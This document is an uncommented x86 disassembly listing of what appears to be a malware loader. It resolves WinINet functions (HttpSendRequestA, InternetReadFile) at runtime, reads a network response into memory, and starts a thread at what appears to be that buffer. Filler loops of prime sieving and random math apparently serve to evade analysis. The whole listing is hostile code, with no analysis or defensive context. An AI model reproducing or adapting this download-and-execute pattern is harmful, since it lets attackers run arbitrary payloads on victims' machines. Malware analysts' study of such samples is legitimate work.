mov eax, dword [ebp - 0x44]
imul edx, eax, 0x14c
mov eax, dword [ebp - 0x158]
add edx, eax
faddp st(1)
mov eax, dword [ebp - 0x48]
fstp dword [edx + eax*4]
add dword [ebp - 0x48], 1
cmp dword [ebp - 0x48], 0x52
jle 0x4026d2
add dword [ebp - 0x44], 1
cmp dword [ebp - 0x44], 0x1a
jle 0x4026c9
mov eax, dword [ebp - 0x150]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x154]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x158]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x4c], eax
mov dword [esp + 4], str.HttpSendRequestA
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x160], 0x1aa
mov dword [ebp - 0x164], 0xd5
mov eax, dword [ebp - 0x160]
add eax, 1
shl eax, 2
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x50], 0
jmp 0x4027da
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x168]
add edx, eax
mov eax, dword [ebp - 0x50]
mov dword [edx], eax
add dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x164]
jl 0x4027bf
mov dword [ebp - 0x50], 1
jmp 0x402840
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
jmp 0x402823
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
add edx, eax
mov eax, dword [ebp - 0x50]
add eax, eax
add edx, eax
mov eax, dword [ebp - 0x54]
add eax, edx
lea edx, [eax*4]
mov eax, dword [ebp - 0x168]
add eax, edx
mov dword [eax], 0
add dword [ebp - 0x54], 1
mov eax, dword [ebp - 0x164]
sub eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x50]
add edx, edx
lea ebx, [edx + 1]
cdq
idiv ebx
cmp dword [ebp - 0x54], eax
jle 0x4027f6
add dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x164]
jl 0x4027ee
cmp dword [ebp - 0x160], 2
jle 0x402872
mov eax, dword [ebp - 0x58]
lea edx, [eax + 1]
mov dword [ebp - 0x58], edx
lea edx, [eax*4]
mov eax, dword [ebp - 0x168]
add eax, edx
mov dword [eax], 2
mov dword [ebp - 0x50], 1
jmp 0x4028ba
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x168]
add eax, edx
mov eax, dword [eax]
test eax, eax
je 0x4028b6
mov eax, dword [ebp - 0x50]
lea ecx, [eax + eax]
mov eax, dword [ebp - 0x58]
lea edx, [eax + 1]
mov dword [ebp - 0x58], edx
lea edx, [eax*4]
mov eax, dword [ebp - 0x168]
add eax, edx
lea edx, [ecx + 1]
mov dword [eax], edx
add dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x164]
jl 0x40287b
mov dword [ebp - 0x16c], 1
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x50], 0
jmp 0x4028ff
mov eax, dword [ebp - 0x50]
lea edx, [eax*4]
mov eax, dword [ebp - 0x168]
add eax, edx
mov eax, dword [eax]
test eax, eax
je 0x4028fb
add dword [ebp - 0x5c], 1
add dword [ebp - 0x50], 1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x16c]
jl 0x4028df
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [ebp - 0x15c]
call eax
sub esp, 0x14
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0
je 0x402b85
mov dword [esp + 4], str.InternetReadFile
mov eax, dword [ebp - 0x124]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x60], 0xffffffff
mov dword [esp], 0x1220
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x178], eax
add dword [ebp - 0x60], 1
call sub.msvcrt.dll_rand
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0x178]
add eax, edx
fld qword [0x40b258]
fdivp st(1)
fstp qword [eax]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x51eb851f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 5
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x64
mov eax, ecx
sub eax, edx
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0x178]
add eax, edx
fld qword [eax]
fxch st(1)
mov eax, dword [ebp - 0x60]
lea edx, [eax*8]
mov eax, dword [ebp - 0x178]
lea ebx, [edx + eax]
fstp qword [esp + 8]
fstp qword [esp]
call fcn.00409010
fstp qword [ebx]
cmp dword [ebp - 0x60], 0x242
jle 0x402999
lea eax, [ebp - 0x1dc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x400
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x13c]
mov dword [esp], eax
mov eax, dword [ebp - 0x174]
call eax
sub esp, 0x10
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x1dc]
add dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x1dc]
test eax, eax
jne 0x402980
mov dword [ebp - 0x64], 0x3d4
jmp 0x402a94
sub dword [ebp - 0x64], 1
cmp dword [ebp - 0x64], 0x1a
jg 0x402a90
mov dword [esp + 4], str.CreateThread
mov eax, dword [ebp - 0x120]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0x1e0]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x14c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x180]
call eax
sub esp, 0x18
mov dword [ebp - 0x184], eax
mov dword [esp + 4], str.WaitForSingleObject
mov eax, dword [ebp - 0x120]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x68], 0
jmp 0x402b5a
call sub.msvcrt.dll_rand
imul eax, eax, 0x18a
mov dword [ebp - 0x1ec], eax
fild dword [ebp - 0x1ec]
fld qword [0x40b258]
fdivp st(1)
fstp qword [esp]
call fcn.00408f20
fstp qword [ebp - 0x198]
add dword [ebp - 0x68], 1
cmp dword [ebp - 0x68], 0x320
jle 0x402b29
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x184]
mov dword [esp], eax
mov eax, dword [ebp - 0x188]
call eax
sub esp, 8
mov dword [ebp - 0x18c], eax
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret